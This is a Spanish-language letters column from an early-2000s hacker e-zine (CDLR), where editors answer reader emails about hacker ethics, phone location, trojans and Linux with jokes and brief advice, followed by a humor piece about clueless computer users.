respondan , bye bye.
[Nex: Pues te podias currar un articulillo sobre algo de programacion. Quizas
de programacion segura, que es un tema muy interesante y hay bastante poca
e-info en castellano de eso.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Francisco [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hackers chilenos en contra del defaced masivo
Un excelente ejemplo que demuestra que el Hacker no es destructivo , como lo
tildan los medios ....
Con respecto a eso, si "pretenden" que la gente cambie la mentalidad hacia
los "hackers" ustedes deben empezar por hacerlo, por ejemplo como van a
llamar hacker a cualquier weon?
hacker a un weon que entra a un NT por el bug qliao del rds o por netbios?
hacker es aquel que entra a un unix y no por exploits ni ese tipo de weas,
aquel que siempre quiere aprender weas nuevas, aquel que cuando vee una wea
quiere ver porque funciona no solo la ocupa porque es mas comoda, etc...
Por favor si "prentenden" cambiar la mentalidad de las personas empiecen por
ustedes no poniendo noticias de hackers y weas, ahi hubieran puesto tal team
hizo aquella wea, pero no van a ser hackers por hacerlo? no.
[cucumber: Hacker es el que entra a Unix, pero no a NT? Que definicion mas
pobre, miope y errada! Concuerdo contigo que el entrar por NetBios no te
convierte en hacker, pero un NT seguro puede ser mas seguro que un Unix si
este esta mal configurado. Hacker no te hace el usar uno u otro sistema, para
nada. A mi me han acusado de ser fanatico religioso de linux, pero no lo soy.
Prefiero linux para cosas de seguridad y prefiero Windows para el dia a dia.
Cosa de gustos. No por eso soy mejor o peor.]
[ Tkr: Segun algunas cosas que he leido por alguna parte, y tenniendo en
cuenta que algunas veces algunas de esas cosas tienen razon en algo de lo que
dicen, creo que tengo algo de derecho a decir algunas cosas que pienso como
por ejemplo... bahhh... se me olvido....]
[ Tkr: Ahora si en serio.. lo que queria decir, es que no necesariamente un
hacker tiene que entrar a un sistema (cualquiera que este sea) para demostrar
que es un hacker, mas bien creo, que si esta persona tiene algo que demostrar
es porque sabe que no es y nunca llegara a ser lo que en realidad quiere
ser... puede ser..??]
[ Plx: sip ese fui yop y pido disculpas por el tema .. en verdad que entres a
1000 sitios y dejes 1000 avisos en la web no te convierte en hacker .. debi
mencionar al team como es y no como un grupo de hackers ... lo que si no
estoy de acuerdo es sobre el tema de "Entrar a un UNIX" de hecho puedo
asegurarte que hay hackers que jamas han entrado a un sistema ... meditalo
... si en realidad entrar a sistemas no es la finalidad del hacker ... es
algo mas que eso.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Kuantiko [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Grande cabros....ese es el verdadero espeiritu de lo que es ser un hacker y
aunque no me considero uno (espero serlo algun dma), hay que hacer entender a
la gente que gracias a los Hackers la internet sobrevive y el mundo avanza
tecnologicamente hablando. Y que no por unos pocos lamerzillos que anden por
ahi, tengan que desquitarse con alguien que lo que trata de hacer es hacernos
despertar.
[CHack: Estimado Kuantiko, Pues si!]
[cucumber: bien dicho!]
KuAnTiKo
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: pepa [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hola, la verdad sslo hoy vine a enterarme de su existencia y de publicaciones
similares en el resto del mundo, el motivo de mi tardmo encuentro con el
"under infomativo" se debe a que nunca necesiti informacisn muy de vanguardia
o alejada de la informacisn formal de munuales y otras cosas, pero ahora me
encuentro tratando de definir un tema para mi memoria y la verdad mis
conocimientos no son muy fuertes en tecnologma de vanguardia como pa' que se
me ilumine la ampolleta y decir "... AH!!!! esta es la papa y se puede
hacer.." ... les cuento a ver si me puedden ayudar....
Estoy trabajando con un profe que es mas engrupido que yo, o sea sabe lo
mismo o menos que yo y le tinca la idea de poder implementar (por lo menos
comenzar un prototipo) un "algo" (servivcio, aplicacisn, --- se entiende que
ni el profe sabe lo que quiere??? ----) que permita localizar personas a
travis de la llamada de un telifono celular, o sea, tener una especie de
servicio central que tiene por ejemplo registreados los nzmeros de los
"repartidores" y para conocer su posicisn hace una llamada (o pide que hagan
una llamada a la centra, punto fijo o al que tenga un gps) para determinar
dsnde esta el repartidor ..... comenci investigando por phreaking pero lo que
mas encuentro en paginas asm es csmo hackerar telifonos ... que no es la idea
.... creo que por ahora lo que realmente necesito es saber si de alguna
forma, sin ser "la compaqma", puedo capturar la seqal de una llamada para
ubicarla geograficamente????' ..... creo que es mail me queds bastante largo
y sobretodo bastante latero .... pero si lo leen y me ayudan... seguro se
ganaran el cielo ... jajajjaj
[Nex: Pues bien, hablando en redes GSM, que es lo que yo conozco, el dato que
sabe todo el mundo es que en cualquier momento la compa~ia puede saber que
celula estas utilizando, y por lo tanto, en que zona andas. Aunque esto no es
una localizacion precisa en determinados terrenos donde haya pocas celulas,
donde la precision puede ser de varios kilometros.
Sin embargo, en la actualidad las operadoras estan sacando a la luz sus
nuevas tecnologias de posicionamiento de moviles via WAP. Leyendo la
documentacion supongo que sera por la funcion wtai://gsm/li, que nos devuelve
algo asi:
= String:
The return value is a string including the 8 octets of the GSM location
information in hexadecimal representation as follows:
Octets 1 - 3 Mobile Country & Network Codes (MCC & MNC)
Octets 4 - 5 Location Area Code (LAC)
Octets 6 - 7 Cell Identity Value (Cell ID)
Octet 8 Timing Advance
O sea, que si visitas una page WAP de alguien que disponga el 'mapa' completo
de las celulas de tu compa~ia, sabra exactamente donde te encuentras. Lo
dificil sera conseguir el mapa ...
La verdad es que se ha hablado largo y tendido sobre la localizacion
geografica de moviles, y se seguira hablando. Lo unico seguro es que el
supuesto anonimato que nos daban los moviles antes de su boom no era ni sera
nunca un anonimato real, :/ ]
si creen que soy muy lesa y es casi obvio que se puede hacer y csmo ...
haganmelo saber con las palabras mas duras si lo creen necesario ... pero les
recuerdo ... que mis incursiones en la info under no tienen mas de una semana
...
no los lateo mas ... si me pueden ayudar ..... se los agradeceri y tratari de
ayudarlos en su publicacion con lo que sea .... por ultimo revisando la
ortografia ... jajajjajaj ....
[Nex: Gracias, pero ya husamos el corrector hortografico del word]
saludos .... pepa (en los comienzos del under!!!!)
[cucumber: Creo que podrias mandarnos un mail para ponerte en contacto con
las otras personas que nos han preguntado por phreacking y cosas de
electronica. Ellos podrian ayudarte.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Apolo [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hola hace dos a~os que visito vuestra pagina y me parece exelente animo y
sigan adelante en sus proyectos
[Nex: Gracias....]
[CHack: Estimado Apolo, gracias, seguiremos dando de que hablar.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: clamichaque [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hola a todos bueno las paginas que tiene son super wenas pero me agradaria
que pusieran mas informacion respecto a otras cosa como celulares, lo otro no
soy un hacker per diganle al saco de wea que pillaron que borre sus log y las
pwl al ingresar a un server si no te pueden detectar ahora mi pregunta es ?Ha
sido un montaje? y si no es asi ?quien esta asesorando a Investigaciones? no
creo que en tan poco tiempo hayan avanzado tanto; si recien tiene a varios de
sus detectives estudiando informatica y lo otro necesito trabajo help plaxius
ayuda????
gracias de antemano clamichaque
www.chilechiko.net
[CHack: Estimado clamichaque, ya le dijimos que si hacen cochinadas cuando
menos las haga limpias.]
[cucumber: De phreaking no sabemos mucho, pero dado el interes que he visto
en los mails, hay que investigar parece. Y lo del 'loco que pillaron', no fue
un montaje lamentablemente.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Mick [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hola!!!!!!
Me gustaria saber si tienen informacion sobre programas para decodificar la
se~al de la television satelital...por lo que me he dado cuenta hay varios
programas(caso todos en aleman)estoy intentando ver si se puede... segun los
de hacktheplanet.com.ar (que a todo esto son super cagados con la
informacion)se puede pero solo dan los programas e informacion super
poca..bueno debo reconocer que recien me estoy metiendo en esto pero si logro
sacar algo me comprometo a dar toda la informacion para que si a ustedes les
parece a lo mejor poder publicar algo en vuestro sitio..La idea de fondo de
todo esto es varias publicaciones en la red donde los hackers(no se si lo
son) hablan de empresas que ganan cerros de plata con un sistema que no es
tan dificil de implementar aunque parece que es ilegal, no lo se realmente ,
pero creo que seria bueno ver si lo podemos hacer aca y luego nos preocupamos
del resto...
[CHack: Estimado Mick, me imagino que solo buscas decodificar senal con fines
educativos, asi que date una vuelta por http://www.hacktv.net]
Gracias por el tiempo
Mick
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Cristian [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
primero me presento, soy un aficionado navegante de internet. un internauta,
y he aprendido algunos husos en programas como irc. pero ahora tengo un
problema,he pagado altas cuentas por el hoso del telefono. mi polola se fue
fuera de temuco a santiago y yo necesito llamarla diariamente, por eso las
cuentas. y he recurrido austedes para ver si me pueden dar algun tipo de
ayuda algun codigo para llamar o algo.
de antemano soy su agradecido.
[Nex: ¿Llamar desde casa de un amigo? ]
[CHack: Estimado Cristian, si quieres seguir en comunicacion diaria con tu
chica y reducir el costo del telefono, pues facil utiliza el correo, lo malo
es que se enamora del cartero.]
[cucumber: Una empresa Chilena de carriers que empieza con Chile y termina
con SAT, tiene un plan que pagas una cantidad (.000??) y hablas TODO lo
que quieras a todo Chile en cualquier horario.]
[Plx : el otro dia me llego un corre pidiendome que sacara a alguien de DICOM
, otro preguntandome como ganar siempre en el poker a travez de estadisticas
pues queria ir a un casino ... otro que queria entrar a internet gratis ...
Pues esto es hacking se~ores y no cyberladrones ??? ]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Marcelo [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hola amigos,
primero que todo les felicito por la iniciativa de apoyar a The Eye, ya que
considero que lo que il ha realizado no es Cybercrimen, es mas bien "mostrar2
lo vulnerables que pueden llegar a ser ciertos sistemas "infalibles".
Tengo 28 y soy casado y desde hace un tiempo que me llama mucho la atencisn
este mundillo del Hacker y Cracker y Phreaker ( no si si esta bien escrito)
pero tengo algunas dudas sobre como se forma un Hacker. Si que no me voy a
encontrar con un colegio de Hacker o universidad de Hacker, pero ,como se
forma uno de ustedes?
[Nex: No hace mucho salio la noticia de que en Rusia habia una escuela de
hackers, te daban titulo y todo. No veas que pintas tenian los de las fotos,
ni el zero cool ese, xDD ]
que conocimientos manejan que los hacen diferentes del comun de la gente que
se sienta en su maquina win95 a escribir en el WORD?
[CHack: Estimado Marcelo , pues a mi lo que me hace diferente es que tambien
escribo en el EXCEL.]
De cierto modo me siento orgulloso de que existan HACKER NACIONALES y MADE IN
CHILE, porque hace un tiempo esto sslo era como para los gringos y nada mas,
es esto lo que me motiva a escribirles y nuevamente a consultarles que se
necesita para ser un HACKER?
[cucumber: Hola Marcelo. No somos en nada diferentes a los entes normales. Yo
uso el Word, el pico (Pine Composer para los mal pensados), etc.. y como se
forma un hacker? leyendo mucho, discutiendo de cosas tecnicas, probando cosas
existentes y tratando de descubrir cosas nuevas, etc. Con respecto a los
hackers de otros paises, no te engannes, una gran escuela de hackers es
alemania, espanna, etc... Y por ultimo en CDLR habemos de varios paises de
hispanoamerica.]
Un saludo muy grande y sigan adelante con su filosofma de vida.
Marcelo "Gunner"
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: J.A.F. [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Mr.Nexus:
Te escribo a ti ya que eres con el que mas me represento. Me he leido todas
las Ezines y tus articulos tambiin, y me parecen por decirlo de alguna forma
"excelente material" y es basico para formar la nueva informatica, mucho
mejor que los largos y extensos manuales de web, ingenieria, y de la pearson
& de de la mcgraw que me tuve que mamar en la U.
[Nex: Bueno, bueno, .. eso ya es decir mucho, creo que yo tan solo he escrito
un articulo decente, ese de spoofing que salio en la R numero 7 u 8. Pero
esta claro que donde este un buen libro de McGraw, Prentice, o lo que sea,
que se quite cualquier articulo (o la mayoria ...)]
[Tkr: Nex.. me vas ganando por 1 articulo... que ya algun dia te alcanzare..]
Bueno, al punto :necesito una ayudita con un jil que es enfermo de puntudo,
ademas de desvirtuar en varios grupos de noticias a los hackers ,
ultimamente me ha estado hinchando con mails y mas mails instandome a que le
hackei el sitio(aunque se declara ignorante).
Te pido ayuda tactica mas que tecnica, ya que en eso soy bueno.
Tactica en el sentido de hacking sin dejar rastro, de la mejor forma de
acceder a su gran basural sin moverle ni un papel higienico. me sigues? Si
puedes ayudarme te lo agradeceria.
[Nex: Bueno, aqui no pretendemos inducir a realizar nada ilegal asi que no
aceptaremos cosas asi ... aun asi, ese site esta down.]
PD: su sitio es www.xuxasumadre.cl y este el ultimo de sus
famosos recaditos...
"a las finales la web es mia vcoloko la wea ke kiera, estos hacker de jardin
infantil de ke te las day aweonao, si no necesito ser informatico pa tener
una web, seguro vos no tenis idea aweonao master
jajajajaja te espero
WebMaster"
eso seria adios
Jorge
[Nex: Bueno, idiotas los hay en todos lados, y desafortunadamente son muchos.
Ignoralo.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: IDLE [mailto:xxxxxxxxx]
Enviado el: Viernes, 06 de Abril de 2001 15:40
Para: CDLR
Asunto: CDLR Contacto
Pongo a vuesta disposicion el dominio hackers.cl no se esta haciendo nada
bueno en el y yo soy el due~o.
Atte
iDLE
[ Tkr: Debian ponerle earthquake.cl o algo asi...]
[Plx : que me quedo el mouse tiriton .. mejor reviso los rodillitos .. como
dice chack por ahi]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Rodrigo [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Chile no es un pais totalmente computarizado en estos dias, asi que toda la
info que necesitamos para adelantar el paso perdido, gran parte llega por los
internautas chilenos, que sin mala intencion ingresan como cualquier persona
del mundo a un sistema informatico.......... los chilenos queremos a nuestro
pais y no destruiremos nada que nos sirva o pertenesca.... chile debe avanzar
a pasos mas agigantado, y con nos. lo lograra........ si no nos apoyan y
ayudan, otras personas de otros paises se veran beneficiadas..... y las
victimas no seremos nosotros........sino el gobierno
Hck
[Nex: Uf, que tema mas delicado, todos en contra del gobierno,.. Tee, habla
xDD]
[ Tkr: www.la-nacion.net no tengo nada que ver ahi, pero me agrada la idea]
[CHack: Estimado Rodrigo, Mi pais quisiera estar totalmente computarizado
pero en algunos lugares falta luz, y no tenemos cables de poder tan largos.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Juan Arce Avila [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Caballeros, uno de mis clientes realizara un evento internacional, me
solicito me ponga en contacto con ustedes para que se encarguen de la
seguridad en este vento.
?Hacen este tipo de trabajo?, con quien puedo conversar para hablar del
proyecto?
[Nex: Con alguna buena compa~ia de seguridad.]
[CHack: Estimado Juan, yo elijo ser el cuidador de la puerta.]
[cucumber: Como CDLR no podemos hacer trabajos remunerados, ya que como dice
nuestro dominio (cdlr.org) somos un grupo sin fines de lucro. Gracias de
todos modos.]
[Tkr: Yo iria de mil amores.. pero.. tengo que cuidar mi gatito... lo siento]
[Plx: Pues ya lo tengo Chack se encarga de la puerta .. el copete lo cuida
Taker y cucu , Nexus echa a los borrachos y yo reparto los condones ...
espero que acepte la propuesta]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Camilo Dosque [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
hola amigos soy un empresario muy metido en este asunto me gustaria
apollarlos ya que estamos pronto a levantar 2 pag una de seguridad - y otra
de linux
linux-de-chile.com y osso.cl esperando alguna respuesta
CDH- k3d0z...
[ Plx: Camilo espero que nos apoyes con la HACKIT 2002]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: CaNOPuS Lacerta [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Hace un tiempo lei que existe (o mejor dicho, existia) un error en Windows
9x, el cual consistia en escribir el path "C:\CON\CON". Lo probe sobre mi PC
y funcions. Luego pensi que CON podrma ser una referencia al dispositivo
"COnsole" del DOS. Probe "C:\NUL\NUL" y tambien funciona. Lo mismo con
CLOCK$. Mi pregunta es: ?Porque sucede eso? El error estaba en el sistema
VFAT. Pero ?por que? Es algo que me encantaria saber. Si pueden, contactense
via mail conmigo.
Gracias por todo, y sigan asi. La ezine es excelente.
[ Tkr: En teoria, podria decirse que este es un error de redundancia ciclica,
es decir: si te encuentras en la ciudad a y deseas dezplazarte a la ciudad
a, es decir de a a a, pues nos encontramos en un ciclo redundante ya que si
luego de eso deseas regresar a tu punto incial tendrias lo siguiente:
recorrido: a a a a a
y asi sucesivamente despues de este trayecto quieres regresar a la ciudad
anterior pues tendrias a a a a a a a
Etc, esa es la idea...
perdon, de que estabamos hablando..??]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: IRIDIUM [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
Como estan muchacho, me entere ahce algun tiempo de uds por un tipo que iba
en la micro y me hablo de esta pagina de hacker, la verdad es que quisiera
ser uno, ya que estudio ingenieria en computacion (3er a~o) y realmente me
interesa aprender cirtas tecnicas es por eso mi visita, les reujo que me
ense~en a ser un Hacker eso si con solidos principios, enviandome manuales o
donde los puedo bajar haci tambien como programas , desde ya muchas gracias
........ I R I D I U M
[PLX: Ese fui yop .-. jejej pues lo vi leyendo @rroba, para que gastar
monedas cuando el conocimientos es gratis !!!]
[Tkr: Ha, el viejo truco de la publicidad gratuita en la micro]
[CHack: Estimado IRIDIUM, date una vuelta por zine store de entrada ahi
encontraras bastante informacion http://members.nbci.com/zine_store/]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Devil_Angel [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
La pagina esta excelente, el contenido es de primera categoria y enseqan el
verdadero espiritu del HacK, que no es hacer daqo, sino que demostrar que aun
no hay nada seguro.. en Chile o en el Mundo.. SALUD2!
[CHack: Estimado Devil_Angel, lo unico seguro es la muerte de lo vivo.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: Z@R [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
felicidades, hace mucho tiempo que los sigo y realmente se pasaron , los
felicito, sigan pa delante
[Nex: Gracias ... ]
[CHack: Estimado Z@R, Gracias, seguiremos adelante pero luego se nos
atraviesan las paredes]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: tata8 [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Enviado el: Miercoles, 14 de Marzo de 2001 2:53
Para: CDLR
Asunto: CDLR Contacto
Hola como estan, siempre estoy en contacto con uds, y pienso que son lejos la
mejor y mas etica agrupacion chilena informatica.
1ro no soy hacker, solamente intento serlo pero muy humildemente , comparado
con los genios que andan por ahi, estoy muy lejos de eso. Mi consulta:
yo creo que es muy basica para uds pero para mi no y seria una gran ayuda,
creo que me instalaron un troyano en mi pc, porque noto cosas super raras
cuando estoy conectado el cursor del mause se mueve solo y tengo el pc con
errores que no tenia nunca, y muchas cosas mas, me gustaria que me ayudaran a
saber como saber si realmente tengo un troyano o que puede ser y como
proteger mi pc lo mas posible, uso win98 2 edicion, no entiendo mucho sobre
los puertos y cosas por el estilo. he leido bastante del tema y he hecho
algunas cosillas por ahi pero siempre con el fin de mostrar lo bulnerable del
sys nunca destruyendolos.
[Nex: La mejor proteccion para ese tipo de cosas, segun mi opinion, es tener
cuidado con las cosas que se ejecutan. Un antivirus actualizado no esta de
mas. Y en contra de la creencia popular, yo no estoy a favor de los firewalls
personales esos, ... saltan por nada y hacen creer a la gente que esta siendo
atacada por cualquier paquete extra~o que reciben, bah!]
[CHack: Estimado tata8, hace un tiempo me paso algo similar ya que el cursor
se movia solo. Intente todo, antivirus, norton, reinstalar, exorcismos y
bueno nada funciono hasta que limpie el mecanismo del raton y santo remedio.]
[Tkr: Si nada de lo anterior te funciona, y los antivirus no encuentran ningun
programa "extra~o" creo que lo mejor es que reinstales nuevamente todo...
empezando desde cero para mayor seguridad... y recuerda tener backups de tus
datos antes de empezar...]
Bueno me despido y me encantaria que me pudieran ayudar
esperando pronta respuesta se despide uno mas de sus seguidores...
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: df [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
como es posible que siendo hackers desarrolen sus paginas en programas de
.asp de microsoft y front page
una verguenza
[TeeSPy: verguenza ? por ke verguenza ? Microsoft existe, y hay ke adecuarse
a eso, por lo demas, asp es muy util, y no tiene nada de malo usarlo. Solo
por ke microsoft creo cierta cosa no hay ke usarla ?? lo bueno se aprovecha,
provenga de kien provenga. No por ke casi todo lo de MS sea malo (:P), hay
ke desconocer lo bueno. No se bien ke tan buenos son asp y frontpage en
implementacion, pero mi respuesta va mas ke nada dirigida a tu prejuicio. Yo
no tengo verguenza, ke opinan uds ? :) ]
[CHack: Estimado df , te informo que la traduccion de "hacker" no es "anti
microsoft"]
[cucumber: ASP corre en linux tambien. Oh.. ahora no podremos usar linux
tampoco! :( ]
[Tkr: Yo si decia que alguien se daria cuenta si no le cambiabamos la
extension a esas paginas... lo juro.. lo juro.. yo intente poner *.php, pero
al intentar entrar me daba un error de File not fuckin' found... No se que
pueda ser.... por eso me toco dejarlas como estaban... pd. si el *.php no te
gusta puedes cambiarlo por *.html me da los mismo... s*ck*r]
[Plx: Pues simple .. la page la hizo una amiga dise~adora grafica .. no creo
que se de la paja de hacerlo en notepad como tu lo haras me imaginos .. pues
tu eres Elite verdad ? . Si tenemos nuestro hosting en un servidor NT que mas
practico que ocupar ASP.]
<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->-<->
De: 4831 [mailto:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
]
Asunto: CDLR Contacto
los felicito por su labor.
Quiero felicitar en especial a paxius, por que no critica a los que vamos
empesando, yo estudie a nivel tecnico la carrera de informatica y desde
entonces me empese a interesar por los temas que aqui se tratan.
Les pido un favor por el millon de personas que vamos empesando, ayuden a
quienes se lo poden.
Gracias..
Espero contunuar en contacto con ustedes.
En mi trabajo no se permite trabajar directamente con los sistemas
operativos, solamente shell, y quisiera me informaran algun sitio para vajar
linux y poder practicar, ya que en la oficina se trabaja con Unix.
[Nex: www.linuxiso.org ]
[CHack: Estimado 4831, gracias, el linux lo puedes bajar de muchisimos lados,
inclusive ya en muchas revistas viene incluido.]
[Tkr: Ya te han dicho de donde bajarlo... pero yo queria incluir algo... nos
gusta ayudar a la gente, pero a la gente que pregunte de buena forma, pq es
que hay unos que buffff... como dice el mono de yanomeacuerdo quien... me
saca la p*ta piedra..!!! Cuenta con nosotros...]
[Plx: No le cuenten a nadie ... ftp.tie.cl .. ahi hay algunos ISO`s]
PD. Cria cuervos y tendras muchos..
[Tkr: Cria lombrices y tendras muchas mas... se reproducen en un 100% en un
periodo de un mes..!! y solo comen desechos organicos...]
[Plx: Cria conejos .. y veras lo calineten que son estos animalejos .. que
vida no ?]
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 17 Chistes, cuentos y otras burradas ::--..
by General Failure
Este texto relata las aventuras de Sysoy, un profesor de informatica de
alguna universidad. Para que vean que tan preparados y capacitados estan
algunos profesores y alumnos de este pais.
Si alguno de estos casos coinciden con algun hecho de la vida real, es
simplemente eso, una mera coincidencia y nada mas.
Las aventuras de Sysoy.
Alumno: Oye, hice este documento en mi casa, pero aqui no me carga...
Sysoy: Bien. ¿Que procesador de textos usaste?
Alumno: Windows, version 95...
Sysoy: No, quiero decir con que programa, no el sistema operativo.
Alumno: Windows...
Sysoy: No. Windows es el sistema. Lo que quiero saber es el programa. Por
ejemplo, puede haber sido Microsoft Word, Wordpad o WordPerfect...
[al alumno se le ilumina la cara]
Alumno: ¡Ah, claro! Fue con Microsoft Windows 95...
[aun no se como no lo mate]
Alumno: Oye, tengo un problema con un disquete que he metido en la
disquetera y ahora no se como sacarlo...
[cuando voy a mirar, compruebo que el alumno se las ha arregado para meter
el disquete por la ranura de uno de los puertos... Normal que tuviera
problemas para sacarlo.]
Alumno: ¿Me puedes grabar Internet en este disquete?
[tentado estuve de grabarle el "acceso directo a Internet Explorer" y
hacerle feliz...]
Alumno: No me entra la password en mi cuenta, me salen asteroides...
[me llevo un par de tensos segundos darme cuenta de que queria decir
"asteriscos"]
Profesor: Oye Sysoy, en la sala de arriba queremos pasar nuestros documentos
a un nuevo sistema.
¿Es muy complicado?
Sysoy: Bueno, depende (ambiguo como buen chileno). ¿Que software estan
usando?
[expresion confusa en la cara del profe]
Profesor: ¿Software? No usamos ningun software...
[vaya, computadores telepatas... y yo aqui con un pentium III en el
escritorio]
Alumno: Oye, ¿me valdra la pena instalar Windows 78?
[si, claro]
Alumno: Necesito pasar esta imagen a mi cuenta para un trabajo
Sysoy: Bueno, te la paso por FTP en un rato
Alumno: No, no puede ser, la imagen tiene que ir en JPEG
[siempre he dicho que eso de los acronimos es un peligro publico...]
Alumno: En mi computador de la casa tengo problemas instalando la tarjeta
Ethernet en mi disco duro.
[no me extra~a; ...y ya me hubiera gustado saber para que queria ese buitre
una tarjeta Ethernet en su casa]
Alumno: Mi CPU no es lento, tiene un disco duro de 200 kegabytes
[tres patadas en 12 palabras... deberia haber mandado esto al libro Guinness
para que homologaran el record]
Alumno: Oye, Windows no me funciona, no se por que. ¿Puede haber sido por
cambiar el nombre del directorio WINDOWS a VENTANAS?
[noooo, debe ser la crisis asiatica...]
Alumno: ¿Se puede usar Word en los ordenadores del Departamento 6?
[nota: eran estaciones Sun]
Sysoy: No, esos ordenadores usan UNIX
Alumno: Ah, claro, UNIX usa una version de DOS muy antigua
[confieso que me costo un poco recuperarme de esta]
Alumno: ¿Como puedo quitar mi PC del escritorio?
Sysoy [confundido]: ¿Que pasa, esta atornillado a la mesa o que?
Alumno: ¿Te estai haciendo el simpatico, viejo?
Sysoy [mas confundido]: No, no, ... a ver, ¿donde quieres poner tu PC? ¿En
el suelo?
Alumno: Me estai molestandoh? ¡¿ME ESTAI VACILANDO, NO?!
Sysoy [a la defensiva]: Tranquilo, vamos por partes, ¿eh? ¿Me puedes
explicar el problema con un poco mas de detalle?
Alumno [mirandome como si yo fuera un idiota profundo]: Mira, he quitado
Internet, he quitado el Outlook y he quitado Mis Documentos, pero no puedo
quitar Mi PC. Ni la Papelera de Reciclaje tampoco...
[.. uf! ¿por que la gente no hablara con comillas?]
Alumno: Oye, creo que hay ficheros corrompidos en el ordenador con el que
trabajo...
Sysoy: ¿Por que crees eso?
Alumno: Los abro y sale basura. Mira...
[acto seguido me lleva a un computador, arranca MSDOS, tira el EDIT y
abre... COMMAND.COM!!!]
Sysoy [sonrisa sarcastica]: Estoy de acuerdo en que es basura, pero...
[Por la cara de idiota que me puso, me parece que no me cacho la talla]
[en cierta ocasion estaba ense~ando los servidores departamentales a un
grupo de alumnos del primer curso... Habia un DG 300 como servidor de
terminales, donde se conectaban clientes bajo NT, X Window, y otros
entornos]
Sysoy: ...Y esto es un servidor DG 300 corriendo bajo DG/UX 5.4
Alumno: ¿Que es eso?
Sysoy: El sistema operativo.
Alumno: ¿Corre bajo NT?
Sysoy: No, es DG/UX, un sistema operativo. Es una variante de UNIX. Corre
por si solo
Alumno: Ah, o sea, arrancas NT y...
[este jabali seguro que fue empleado de Microsoft]
[en uno de los departamentos habia un MV-10000 corriendo bajo RSTS-E; si a
nadie le suena esto, no me extra~a nada, porque este sistema fue dise~ado
antes de que nacieramos... El caso es que por lo visto tenian problemas
